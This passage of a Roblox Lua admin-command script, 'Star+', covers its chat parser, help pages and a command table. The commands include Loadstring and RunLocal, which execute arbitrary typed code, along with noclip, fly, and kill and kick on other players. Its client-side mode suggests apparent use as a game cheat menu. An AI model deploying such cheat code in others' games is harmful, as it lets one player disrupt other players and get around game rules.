  5971. for _,Team in pairs(Teams:GetChildren()) do
  5972. if Team ~= Player.Team then
  5973. for _,Data in pairs(GetInTeam(Team)) do
  5974. table.insert(toAdd,Data)
  5975. end
  5976. end
  5977. end
  5978. elseif string.sub(name,1,1):lower() == "%" then
  5979. local Start = 2
  5980. local TeamName = tostring(string.sub(name,Start))
  5981. if TeamName then
  5982. local Team = nil
  5983.  
  5984. if Teams:FindFirstChild(TeamName) then
  5985. Team = Teams:FindFirstChild(TeamName)
  5986. else
  5987. local teams = Teams:GetChildren()
  5988. for _,t in pairs(teams) do
  5989. if string.sub(t.Name:lower(),1,#TeamName) == TeamName:lower() then
  5990. Team = t
  5991. break
  5992. end
  5993. end
  5994. end
  5995.  
  5996. if Team then
  5997. for _,Data in pairs(GetInTeam(Team)) do
  5998. table.insert(toAdd,Data)
  5999. end
  6000. end
  6001. end
  6002. else
  6003. if Players:FindFirstChild(name) then
  6004. table.insert(toAdd,Players:FindFirstChild(name))
  6005. else
  6006. local plrs = Players:GetPlayers()
  6007. for _,p in pairs(plrs) do
  6008. if string.sub(p.Name:lower(),1,#name) == name:lower() then
  6009. table.insert(toAdd,p)
  6010. break
  6011. end
  6012. end
  6013. end
  6014. end
  6015. end
  6016. end
  6017. if v == "String" then
  6018. local str = Arguments[i]
  6019. table.insert(toAdd,str)
  6020. end
  6021. if v == "Number" then
  6022. local str = tonumber(Arguments[i])
  6023. table.insert(toAdd,str)
  6024. end
  6025. if v == "Text" then
  6026. local str = ""
  6027. for Num=i,#Arguments do
  6028. local space = ""
  6029. if str ~= "" then
  6030. space = " "
  6031. end
  6032. str = str .. space .. Arguments[Num]
  6033. end
  6034. table.insert(toAdd,str)
  6035. end
  6036. if v == "Bool" then
  6037. local Bool = tostring(Arguments[i])
  6038. if Bool == "true" then
  6039. Bool = true
  6040. else
  6041. Bool = false
  6042. end
  6043. table.insert(toAdd,Bool)
  6044. end
  6045. end
  6046. if #toAdd > 0 then
  6047. table.insert(Args,toAdd)
  6048. end
  6049. end
  6050.  
  6051. if #Args > 0 then
  6052. return Args
  6053. else
  6054. return nil
  6055. end
  6056. end
  6057. local Commands
  6058.  
  6059. function RunCommand(CommandName,Arguments)
  6060. CommandName = string.lower(tostring(CommandName))
  6061.  
  6062. local Found = nil
  6063.  
  6064. for _,Command in pairs(Commands) do
  6065. if ServerSide == true and Command[6] == false then continue end
  6066. if ServerSide == false and Command[6] == true then continue end
  6067. if string.lower(tostring(Command[1])) == CommandName then
  6068. Found = Command
  6069. break
  6070. else
  6071. for _,Alias in pairs(Command[3]) do
  6072. if string.lower(tostring(Alias)) == CommandName then
  6073. Found = Command
  6074. break
  6075. end
  6076. end
  6077. end
  6078. end
  6079.  
  6080. if Found ~= nil then
  6081. local NeededArguments = Found[4]
  6082. Arguments = ConvertToArgs(Arguments,NeededArguments,Player)
  6083. local S,E = pcall(function()
  6084. Found[5](Arguments)
  6085. end)
  6086. if S then
  6087. -- Ran succseffully
  6088. --print("Ran command")
  6089. else
  6090. if E then
  6091. -- Ran but got an error. Error message = E
  6092. CreateTab({
  6093. Text = tostring(E);
  6094. Color = Colors["Error"];
  6095. },5)
  6096. --warn(tostring(E))
  6097. else
  6098. E = "Got unknown error while running command '"..CommandName.."'."
  6099. -- Ran but got an unknown error.
  6100. CreateTab({
  6101. Text = tostring(E);
  6102. Color = Colors["Error"];
  6103. },5)
  6104. --warn(tostring(E))
  6105. end
  6106. end
  6107. else
  6108. -- Command does not exist
  6109. CreateTab({
  6110. Text = "Command '"..CommandName.."' does not exist.";
  6111. Color = Colors["Error"];
  6112. },5)
  6113. --print("Does not exist")
  6114. end
  6115. end
  6116.  
  6117. function OnCommand(Message)
  6118. local m = Message:lower()
  6119. if string.sub(m,1,#Prefix) == Prefix then
  6120. Message = string.sub(Message,#Prefix+1,string.len(Message))
  6121. local cmds = string.split(Message,CmdSeperator)
  6122. for _,msg in pairs(cmds) do
  6123. if string.sub(msg,1,1) == " " then
  6124. msg = string.sub(msg,2,#msg)
  6125. end
  6126. local args = string.split(msg," ")
  6127. if args then
  6128. local Action = args[1]
  6129.  
  6130. table.remove(args,1)
  6131. local new = {}
  6132. for i,v in pairs(args) do
  6133. if v ~= " " and v ~= "" then
  6134. table.insert(new,v)
  6135. end
  6136. end
  6137. args = new
  6138. --print("Trying to run command! " .. Action .. " " .. tostring(HttpService:JSONEncode(args)))
  6139. coroutine.resume(coroutine.create(function()
  6140. RunCommand(Action,args)
  6141. end))
  6142. end
  6143. end
  6144. end
  6145. end
  6146.  
  6147. if not ServerSide then
  6148. if not game:IsLoaded() then
  6149. local Tab = CreateTab({
  6150. Text = "Waiting for game to load...";
  6151. Color = Colors["Info"];
  6152. })
  6153. game.Loaded:Wait()
  6154. DeleteTab(Tab)
  6155. end
  6156. end
  6157.  
  6158. AE(Players.PlayerAdded:Connect(function(AddedPlayer)
  6159. CreateTab({
  6160. Text = tostring(AddedPlayer).." connected.";
  6161. Color = Colors["Info"];
  6162. },5)
  6163. end))
  6164. AE(Players.PlayerRemoving:Connect(function(RemovedPlayer)
  6165. if tonumber(RemovedPlayer.UserId) == tonumber(Player.UserId) then
  6166. Stop()
  6167. end
  6168.  
  6169. CreateTab({
  6170. Text = tostring(RemovedPlayer).." disconnected.";
  6171. Color = Colors["Info"];
  6172. },5)
  6173. end))
  6174.  
  6175. AE(Player.Chatted:Connect(function(Message)
  6176. OnCommand(Message)
  6177. end))
  6178.  
  6179. Pages = {
  6180. ["Commands"] = function()
  6181. DeleteAllTabs()
  6182.  
  6183. local AvalibleCommands = {}
  6184. for _,Command in pairs(Commands) do
  6185. if ServerSide == true and Command[6] == false then continue end
  6186. if ServerSide == false and Command[6] == true then continue end
  6187. table.insert(AvalibleCommands,Command)
  6188. end
  6189.  
  6190. local MaxPerPage = 8
  6191. local MaxPages = math.ceil(#AvalibleCommands/MaxPerPage)
  6192.  
  6193. local ViewPage
  6194. ViewPage = function(Page)
  6195. DeleteAllTabs()
  6196.  
  6197. local MinShow = MaxPerPage * (Page - 1) + 1
  6198. local MaxShow = MaxPerPage * Page
  6199.  
  6200. local ShowCommands = {}
  6201.  
  6202. for Index,Command in pairs(AvalibleCommands) do
  6203. if Index >= MinShow and Index <= MaxShow then
  6204. table.insert(ShowCommands,#ShowCommands+1,Command)
  6205. end
  6206. end
  6207.  
  6208. for _,Command in pairs(ShowCommands) do
  6209. CreateTab({
  6210. Text = tostring(Command[1]);
  6211. Call = function()
  6212. Pages["CommandHelp"](Command,function()
  6213. ViewPage(Page)
  6214. end)
  6215. end;
  6216. })
  6217. end
  6218.  
  6219. if Page > 1 then
  6220. CreateTab({
  6221. Text = "Previus page";
  6222. Color = Colors["Control"];
  6223. Call = function()
  6224. ViewPage(Page - 1)
  6225. end;
  6226. })
  6227. end
  6228. if Page < MaxPages then
  6229. CreateTab({
  6230. Text = "Next page";
  6231. Color = Colors["Control"];
  6232. Call = function()
  6233. ViewPage(Page + 1)
  6234. end;
  6235. })
  6236. end
  6237. CreateTab({
  6238. Text = "Page: "..tostring(Page).."/"..tostring(MaxPages);
  6239. Color = Colors["Info"];
  6240. })
  6241. if Page < 1 then
  6242. ViewPage(1)
  6243. elseif Page > MaxPages then
  6244. ViewPage(MaxPages)
  6245. end
  6246. end
  6247.  
  6248. ViewPage(1)
  6249. end;
  6250. ["CommandHelp"] = function(Command,BackFunction)
  6251. DeleteAllTabs()
  6252.  
  6253. if BackFunction ~= nil then
  6254. CreateTab({
  6255. Text = "Back";
  6256. Color = Colors["Back"];
  6257. Call = BackFunction;
  6258. })
  6259. end
  6260.  
  6261. CreateTab({
  6262. Text = "Name: "..tostring(Command[1]);
  6263. })
  6264. CreateTab({
  6265. Text = "Description: "..tostring(Command[2]);
  6266. })
  6267.  
  6268. local Aliases = nil
  6269. for _,Alias in pairs(Command[3]) do
  6270. if Aliases == nil then
  6271. Aliases = Alias
  6272. else
  6273. Aliases = Aliases..", "..Alias
  6274. end
  6275. end
  6276. if Aliases ~= nil then
  6277. CreateTab({
  6278. Text = "Aliases: "..tostring(Aliases);
  6279. })
  6280. end
  6281.  
  6282. local Usage = Command[1]
  6283. for _,Type in pairs(Command[4]) do
  6284. Usage = Usage.." ["..Type.."]"
  6285. end
  6286. CreateTab({
  6287. Text = "Usage: '"..tostring(Prefix)..""..tostring(Usage).."'";
  6288. })
  6289. end;
  6290. ["Stats"] = function()
  6291. DeleteAllTabs()
  6292. CreateTab({
  6293. Text = "Star+ V"..Version..".";
  6294. })
  6295. CreateTab({
  6296. Text = ServerSide and "Star+ is running serversided." or "Star+ is running clientsided.";
  6297. Color = Colors["Info"];
  6298. })
  6299.  
  6300. local NumberOfCommands = 0
  6301. for _,Command in pairs(Commands) do
  6302. if ServerSide == true and Command[6] == false then continue end
  6303. if ServerSide == false and Command[6] == true then continue end
  6304. NumberOfCommands = NumberOfCommands + 1
  6305. end
  6306.  
  6307. CreateTab({
  6308. Text = "There are "..tostring(NumberOfCommands).." commands.";
  6309. Color = Colors["Info"];
  6310. Call = Pages["Commands"];
  6311. })
  6312. end;
  6313. }
  6314.  
  6315. Commands = {
  6316. {
  6317. "Stop"; -- Name
  6318. "Stops Star+."; -- Description
  6319. {"Remove"}; -- Aliases
  6320. {}; -- Argument types
  6321. function(Arguments)
  6322. local Prompt
  6323. Prompt = function()
  6324. DeleteAllTabs()
  6325. CreateTab({
  6326. Text = "Are you sure you want to remove Star+?";
  6327. Color = Colors["Control"];
  6328. Call = Prompt;
  6329. })
  6330. CreateTab({
  6331. Text = "No.";
  6332. Color = Colors["Error"];
  6333. Call = function()
  6334. DeleteAllTabs()
  6335. CreateTab({
  6336. Text = "Cancelled.";
  6337. Color = Colors["Default"];
  6338. Call = Prompt;
  6339. })
  6340. end;
  6341. })
  6342. CreateTab({
  6343. Text = "Yes.";
  6344. Color = Colors["Default"];
  6345. Call = Stop;
  6346. })
  6347. end
  6348. Prompt()
  6349. end;
  6350. nil;
  6351. };
  6352. {
  6353. "RunLocal"; -- Name
  6354. "Runs a local script with source of [Text]."; -- Description
  6355. {"rl"}; -- Aliases
  6356. {"Text"}; -- Argument types
  6357. function(Arguments)
  6358. if Arguments[1] and Arguments[1][1] then
  6359. NewLocalScript(Arguments[1][1])
  6360. end
  6361. end;
  6362. nil;
  6363. };
  6364. {
  6365. "Loadstring"; -- Name
  6366. "Runs a script with source of [Text]."; -- Description
  6367. {"ls"}; -- Aliases
  6368. {"Text"}; -- Argument types
  6369. function(Arguments)
  6370. if Arguments[1] and Arguments[1][1] then
  6371. NewScript(Arguments[1][1])()
  6372. end
  6373. end;
  6374. nil;
  6375. };
  6376. {
  6377. "ServerStart"; -- Name
  6378. "Shows when this server started."; -- Description
  6379. {"sStart"}; -- Aliases
  6380. {}; -- Argument types
  6381. function(Arguments)
  6382. CreateTab({
  6383. Text = "Server Started at "..ServerStartTime;
  6384. Call = Stop;
  6385. },5)
  6386. end;
  6387. nil;
  6388. };
  6389. {
  6390. "Dismiss"; -- Name
  6391. "Dismisses all of your tabs."; -- Description
  6392. {"Close"}; -- Aliases
  6393. {}; -- Argument types
  6394. function(Arguments)
  6395. DeleteAllTabs()
  6396. end;
  6397. nil;
  6398. };
  6399. {
  6400. "GetAge"; -- Name
  6401. "Gives you the age of [Player]."; -- Description
  6402. {"Age"}; -- Aliases
  6403. {"Player"}; -- Argument types
  6404. function(Arguments)
  6405. if Arguments[1] then
  6406. for _,plr in pairs(Arguments[1]) do
  6407. CreateTab({
  6408. Text = tostring(plr.Name).."'s' account is "..tostring(plr.AccountAge).." days old.";
  6409. },15)
  6410. end
  6411. end
  6412. end;
  6413. nil;
  6414. };
  6415. {
  6416. "Players"; -- Name
  6417. "Shows you a list of connected players."; -- Description
  6418. {"Connected"}; -- Aliases
  6419. {}; -- Argument types
  6420. function(Arguments)
  6421. DeleteAllTabs()
  6422. local Made = false
  6423. for _,plr in pairs(Players:GetPlayers()) do
  6424. CreateTab({
  6425. Text = tostring(plr.Name);
  6426. })
  6427. Made = true
  6428. end
  6429. if Made == false then
  6430. CreateTab({
  6431. Text = "None";
  6432. })
  6433. end
  6434. end;
  6435. nil;
  6436. };
  6437. {
  6438. "NilPlayers"; -- Name
  6439. "Shows you a list of connected players."; -- Description
  6440. {"NilConnected"}; -- Aliases
  6441. {}; -- Argument types
  6442. function(Arguments)
  6443. DeleteAllTabs()
  6444. local Made = false
  6445. for _,Connection in pairs(ServerSide and game:GetService("NetworkServer"):GetChildren() or game:GetService("NetworkClient"):GetChildren()) do
  6446. local plr = Connection:GetPlayer()
  6447. if plr then
  6448. if plr.Parent ~= Players then
  6449. CreateTab({
  6450. Text = tostring(plr.Name);
  6451. })
  6452. Made = true
  6453. end
  6454. end
  6455. end
  6456. if Made == false then
  6457. CreateTab({
  6458. Text = "None";
  6459. })
  6460. end
  6461. end;
  6462. nil;
  6463. };
  6464. {
  6465. "Stats"; -- Name
  6466. "Shows stats."; -- Description
  6467. {"Status"}; -- Aliases
  6468. {}; -- Argument types
  6469. function(Arguments)
  6470. Pages["Stats"]()
  6471. end;
  6472. nil;
  6473. };
  6474. {
  6475. "Commands"; -- Name
  6476. "Shows all commands."; -- Description
  6477. {"cmds"}; -- Aliases
  6478. {}; -- Argument types
  6479. function(Arguments)
  6480. Pages["Commands"]()
  6481. end;
  6482. nil;
  6483. };
  6484. {
  6485. "Help"; -- Name
  6486. "Shows info about command [Text]."; -- Description
  6487. {"cmdinfo"}; -- Aliases
  6488. {"Text"}; -- Argument types
  6489. function(Arguments)
  6490. if Arguments[1] and Arguments[1][1] then
  6491. local Found = nil
  6492.  
  6493. for _,Command in pairs(Commands) do
  6494. if ServerSide == true and Command[6] == false then continue end
  6495. if ServerSide == false and Command[6] == true then continue end
  6496. if string.lower(tostring(Command[1])) == Arguments[1][1] then
  6497. Found = Command
  6498. break
  6499. else
  6500. for _,Alias in pairs(Command[3]) do
  6501. if string.lower(tostring(Alias)) == Arguments[1][1] then
  6502. Found = Command
  6503. break
  6504. end
  6505. end
  6506. end
  6507. end
  6508.  
  6509. if Found ~= nil then
  6510. Pages["CommandHelp"](Found)
  6511. else
  6512. CreateTab({
  6513. Text = "Command '"..Arguments[1][1].."' does not exist.";
  6514. Color = Colors["Error"];
  6515. },5)
  6516. end
  6517. end
  6518. end;
  6519. nil;
  6520. };
  6521. {
  6522. "NumberOfCommands"; -- Name
  6523. "Shows the number of commands."; -- Description
  6524. {"ncmds"}; -- Aliases
  6525. {}; -- Argument types
  6526. function(Arguments)
  6527. local NumberOfCommands = 0
  6528. for _,Command in pairs(Commands) do
  6529. if ServerSide == true and Command[6] == false then continue end
  6530. if ServerSide == false and Command[6] == true then continue end
  6531. NumberOfCommands = NumberOfCommands + 1
  6532. end
  6533.  
  6534. CreateTab({
  6535. Text = "There are "..tostring(NumberOfCommands).." commands.";
  6536. Color = Colors["Info"];
  6537. Call = Pages["Commands"];
  6538. },7.5)
  6539. end;
  6540. nil;
  6541. };
  6542. {
  6543. "Ping"; -- Name
  6544. "Pings [Text] back to you."; -- Description
  6545. {"Echo"}; -- Aliases
  6546. {"Text"}; -- Argument types
  6547. function(Arguments)
  6548. if Arguments[1] and Arguments[1][1] then
  6549. CreateTab({
  6550. Text = tostring(Arguments[1][1]);
  6551. },10)
  6552. end
  6553. end;
  6554. nil;
  6555. };
  6556. {
  6557. "Kill"; -- Name
  6558. "Kills [Player]"; -- Description
  6559. {"Death"}; -- Aliases
  6560. {"Player"}; -- Argument types
  6561. function(Arguments)
  6562. if Arguments[1] then
  6563. for _,plr in pairs(Arguments[1]) do
  6564. if ServerSide then
  6565. local Character = plr.Character
  6566. if Character then
  6567. Character:BreakJoints()
  6568. end
  6569. else
  6570. if tonumber(plr.UserId) == tonumber(Player.UserId) then
  6571. if Character ~= nil then
  6572. Character:BreakJoints()
  6573. end
  6574. else
  6575. local Character = plr.Character
  6576. if Character then
  6577. table.insert(KillTable,Character)
  6578. end
  6579. end
  6580. end
  6581. end
  6582. end
  6583. end;
  6584. nil;
  6585. };
  6586. {
  6587. "Respawn"; -- Name
  6588. "Respawns [Player]"; -- Description
  6589. {"Spawn", "Re"}; -- Aliases
  6590. {"Player"}; -- Argument types
  6591. function(Arguments)
  6592. if Arguments[1] then
  6593. for _,plr in pairs(Arguments[1]) do
  6594. if ServerSide then
  6595. plr:LoadCharacter()
  6596. else
  6597. plr:LoadCharacter()
  6598. end
  6599. end
  6600. end
  6601. end;
  6602. nil;
  6603. };
  6604. {
  6605. "Noclip"; -- Name
  6606. "Allows you to clip trough walls."; -- Description
  6607. {"Unclip"}; -- Aliases
  6608. {}; -- Argument types
  6609. function(Arguments)
  6610. if Character == nil then return end
  6611. if Character:FindFirstChild("EwTabNoclip") then return end
  6612. local Tag = Instance.new("StringValue",Character)
  6613. Tag.Name = "EwTabNoclip"
  6614. NewLocalScript([[
  6615. local Character = game:GetService("Players").LocalPlayer.Character
  6616. local Root = Character:WaitForChild("HumanoidRootPart")
  6617. local Humanoid = Character:FindFirstChildOfClass("Humanoid")
  6618.  
  6619. local Tag = Character:FindFirstChild("EwTabNoclip")
  6620.  
  6621. --// Main
  6622.  
  6623. local C = game:GetService("RunService").RenderStepped:Connect(function()
  6624. Humanoid:ChangeState(11)
  6625. end)
  6626.  
  6627. repeat wait(0.25) until Tag == nil or Tag.Parent ~= Character or Character.Parent ~= game:GetService("Workspace")
  6628.  
  6629. --// End
  6630.  
  6631. C:Disconnect()
  6632. if script ~= nil then
  6633. script:Destroy()
  6634. end
  6635. ]])
  6636. end;
  6637. nil;
  6638. };
  6639. {
  6640. "Unnoclip"; -- Name
  6641. "Makes you stop noclippping."; -- Description
  6642. {"Clip"}; -- Aliases
  6643. {}; -- Argument types
  6644. function(Arguments)
  6645. if Character ~= nil then
  6646. if Character:FindFirstChild("EwTabNoclip") then
  6647. Character:FindFirstChild("EwTabNoclip"):Destroy()
  6648. end
  6649. end
  6650. end;
  6651. nil;
  6652. };
  6653. {
  6654. "Fly"; -- Name
  6655. "Makes you fly."; -- Description
  6656. {}; -- Aliases
  6657. {}; -- Argument types
  6658. function(Arguments)
  6659. if Character == nil then return end
  6660. if Character:FindFirstChild("EwTabFly") then return end
  6661. local Tag = Instance.new("StringValue",Character)
  6662. Tag.Name = "EwTabFly"
  6663. NewLocalScript([[
  6664. local Character = game:GetService("Players").LocalPlayer.Character
  6665. local Root = Character:WaitForChild("HumanoidRootPart")
  6666. local Humanoid = Character:FindFirstChildOfClass("Humanoid")
  6667.  
  6668. local Tag = Character:FindFirstChild("EwTabFly")
  6669.  
  6670. local SpeedMultiply = 7.5
  6671. local Speed = 1 * SpeedMultiply
  6672.  
  6673. local W,A,S,D = 0,0,0,0
  6674. local Camera = game:GetService("Workspace").CurrentCamera
  6675. local UIS = game:GetService("UserInputService")
  6676.  
  6677. local C2 = UIS.InputBegan:Connect(function(Key,Generated)
  6678. if Generated then return end
  6679. if UIS:GetFocusedTextBox() ~= nil then return end
  6680.  
  6681. Key = Key.KeyCode
  6682.  
  6683. if Key == Enum.KeyCode.W then
  6684. W = Speed
  6685. elseif Key == Enum.KeyCode.A then
  6686. A = -Speed
  6687. elseif Key == Enum.KeyCode.S then
  6688. S = -Speed
  6689. elseif Key == Enum.KeyCode.D then
  6690. D = Speed
  6691. end
  6692. end)
  6693.  
  6694. local C3 = UIS.InputEnded:Connect(function(Key,Generated)
  6695. if Generated then return end
  6696. Key = Key.KeyCode
  6697.  
  6698. if Key == Enum.KeyCode.W then
  6699. W = 0
  6700. elseif Key == Enum.KeyCode.A then
  6701. A = 0
  6702. elseif Key == Enum.KeyCode.S then
  6703. S = 0
  6704. elseif Key == Enum.KeyCode.D then
  6705. D = 0
  6706. end
  6707. end)
  6708.  
  6709. --// Main
  6710.  
  6711. local Gyro = Instance.new("BodyGyro",Root)
  6712. Gyro.D = 250
  6713. Gyro.MaxTorque = Vector3.new(math.huge,math.huge,math.huge)
  6714.  
  6715. local Velocity = Instance.new("BodyVelocity",Root)
  6716. Velocity.MaxForce = Vector3.new(math.huge,math.huge,math.huge)
  6717.  
  6718. local C4 = game:GetService("RunService").RenderStepped:Connect(function()
  6719. Humanoid.PlatformStand = true
  6720.  
  6721. Gyro.CFrame = Camera.CoordinateFrame
  6722. Velocity.Velocity = ((Camera.CoordinateFrame.LookVector * (W + S)) + ((Camera.CoordinateFrame * CFrame.new(A + D, (W + S) * 0.2,0).p) - Camera.CoordinateFrame.p)) * Speed
  6723. end)
  6724.  
  6725. repeat wait(0.25) until Tag == nil or Tag.Parent ~= Character or Character.Parent ~= game:GetService("Workspace")
  6726.  
  6727. --// End
  6728.  
  6729. Humanoid.PlatformStand = false
  6730.  
  6731. Gyro:Destroy()
  6732. Velocity:Destroy()
  6733.  
  6734. C2:Disconnect()
  6735. C3:Disconnect()
  6736. C4:Disconnect()
  6737. if script ~= nil then
  6738. script:Destroy()
  6739. end
  6740. ]])
  6741. end;
  6742. nil;
  6743. };
  6744. {
  6745. "Unfly"; -- Name
  6746. "Makes you stop flying."; -- Description
  6747. {}; -- Aliases
  6748. {}; -- Argument types
  6749. function(Arguments)
  6750. if Character ~= nil then
  6751. if Character:FindFirstChild("EwTabFly") then
  6752. Character:FindFirstChild("EwTabFly"):Destroy()
  6753. end
  6754. end
  6755. end;
  6756. nil;
  6757. };
  6758.  
  6759. {
  6760. "FPS"; -- Name
  6761. "Shows you your fps."; -- Description
  6762. {"FramesPerSecond"}; -- Aliases
  6763. {}; -- Argument types
  6764. function(Arguments)
  6765. CreateTab({
  6766. Text = "Your fps is "..tostring(math.floor(FPS + 0.5))..".";
  6767. Color = Colors["Info"];
  6768. },5)
  6769. end;
  6770. false;
  6771. };
  6772. {
  6773. "FixCam"; -- Name
  6774. "Fixes your camera."; -- Description
  6775. {"fc"}; -- Aliases
  6776. {}; -- Argument types
  6777. function(Arguments)
  6778. Camera.CameraType = Enum.CameraType.Custom
  6779. Player.CameraMode = Enum.CameraMode.Classic
  6780. Camera.CameraSubject = Humanoid
  6781. Camera.FieldOfView = 70
  6782. end;
  6783. false;
  6784. };
  6785. {
  6786. "Blockhead"; -- Name
  6787. "Turns your head into a block."; -- Description
  6788. {"bhead"}; -- Aliases
  6789. {}; -- Argument types
  6790. function(Arguments)
  6791. if Head ~= nil then
  6792. local Mesh = Head:FindFirstChildOfClass("SpecialMesh")
  6793. if Mesh then
  6794. Mesh:Destroy()
  6795. end
  6796. end
  6797. end;
  6798. false;
  6799. };
  6800. {
  6801. "Creeper"; -- Name
  6802. "Turns your character into a creeper."; -- Description
  6803. {}; -- Aliases
  6804. {}; -- Argument types
  6805. function(Arguments)
  6806. if Character:FindFirstChild("EwTabCreeper") then return end
  6807. CreateTab({
  6808. Text = "If the creeper breaks, reset and try again. Unequipping tools may break it.";
  6809. Color = Colors["Warning"];
  6810. },10)
  6811. local Limbs = {
  6812. ["Left Arm"] = Vector3.new(-0.5,-2,-1);
  6813. ["Right Arm"] = Vector3.new(0.5,-2,-1);
  6814. ["Left Leg"] = Vector3.new(-0.5,-2,1);
  6815. ["Right Leg"] = Vector3.new(0.5,-2,1);
  6816.  
  6817. ["LeftUpperArm"] = Vector3.new(-0.5,-2,-1);
  6818. ["RightUpperArm"] = Vector3.new(0.5,-2,-1);
  6819. ["LeftUpperLeg"] = Vector3.new(-0.5,-2,1);
  6820. ["RightUpperLeg"] = Vector3.new(0.5,-2,1);
  6821. }
  6822.  
  6823. local Tag = Instance.new("StringValue",Character)
  6824. Tag.Name = "EwTabCreeper"
  6825.  
  6826. if Head ~= nil then
  6827. local Mesh = Head:FindFirstChildOfClass("SpecialMesh")
  6828. if Mesh then
  6829. Mesh:Destroy()
  6830. end
  6831. end
  6832.  
  6833. for _,Limb in pairs(Character:GetChildren()) do
  6834. for Name,Offset in pairs(Limbs) do
  6835. if Limb.Name == Name then
  6836. Limb:BreakJoints()
  6837. end
  6838. end
  6839. end
  6840.  
  6841. repeat Event:Wait()
  6842. for _,Limb in pairs(Character:GetChildren()) do
  6843. for Name,Offset in pairs(Limbs) do
  6844. if Limb.Name == Name then
  6845. local RocketPropulsion = Limb:FindFirstChildOfClass("RocketPropulsion")
  6846. if not RocketPropulsion then
  6847. RocketPropulsion = Instance.new("RocketPropulsion",Limb)
  6848. end
  6849. RocketPropulsion.CartoonFactor = 0
  6850. RocketPropulsion.MaxSpeed = 200
  6851. RocketPropulsion.ThrustD = 200
  6852. RocketPropulsion.MaxThrust = 9999
  6853. RocketPropulsion.MaxTorque = Vector3.new(math.huge,math.huge,math.huge)
  6854. RocketPropulsion.Target = Root
  6855. RocketPropulsion.TargetOffset = Offset
  6856. RocketPropulsion:Fire()
  6857. local BodyGyro = Limb:FindFirstChildOfClass("BodyGyro")
  6858. if not BodyGyro then
  6859. BodyGyro = Instance.new("BodyGyro",Limb)
  6860. end
  6861. BodyGyro.CFrame = Root.CFrame
  6862. end
  6863. end
  6864. end
  6865. until Humanoid.Health <= 0
  6866. for _,Limb in pairs(Character:GetChildren()) do
  6867. for Name,Offset in pairs(Limbs) do
  6868. if Limb.Name == Name then
  6869. local RocketPropulsion = Limb:FindFirstChildOfClass("RocketPropulsion")
  6870. if RocketPropulsion then
  6871. RocketPropulsion:Abort()
  6872. RocketPropulsion:Destroy()
  6873. end
  6874. end
  6875. end
  6876. end
  6877. end;
  6878. false;
  6879. };
  6880.  
  6881. {
  6882. "Kick"; -- Name
  6883. "Kicks [Player] with reason of [Text]."; -- Description
  6884. {}; -- Aliases
  6885. {"Player","Text"}; -- Argument types
  6886. function(Arguments)
  6887. if Arguments[1] then
  6888. local Reason = "No reason provided."
  6889. if Arguments[2] and Arguments[2][1] then
  6890. Reason = Arguments[2][1]
  6891. end
  6892. for _,plr in pairs(Arguments[1]) do
  6893. plr:Kick(Reason)
  6894. CreateTab({
  6895. Text = "Kicked "..tostring(Arguments[1][1].Name)..".";
  6896. },10)
  6897. end
  6898. end
  6899. end;
  6900. true;
  6901. };
  6902. {
  6903. "FixTabs"; -- Name
  6904. "Fixes your tabs."; -- Description
  6905. {"Fix"}; -- Aliases
  6906. {}; -- Argument types
  6907. function(Arguments)
  6908. SetupTabs()
  6909. end;
  6910. true;
  6911. };
  6912. }
  6913. table.sort(Commands,function(a,b)
  6914. return tostring(a[1]) < tostring(b[1])
  6915. end)
  6916.  
  6917. Stop = function()
  6918. DeleteAllTabs()
  6919. for _,Event in pairs(Events) do
  6920. Event:Disconnect()
  6921. end
  6922. TabFolder:Destroy()
  6923. script:Destroy()
  6924. end
  6925.  
  6926. Pages["Stats"]()
  6927. CreateTab({
  6928. Text = "Run /commands to get a list of commands.";
  6929. Color = Colors["Info"];
  6930. Call = Pages["Commands"];
  6931. })
Add Comment
Please, Sign In to add comment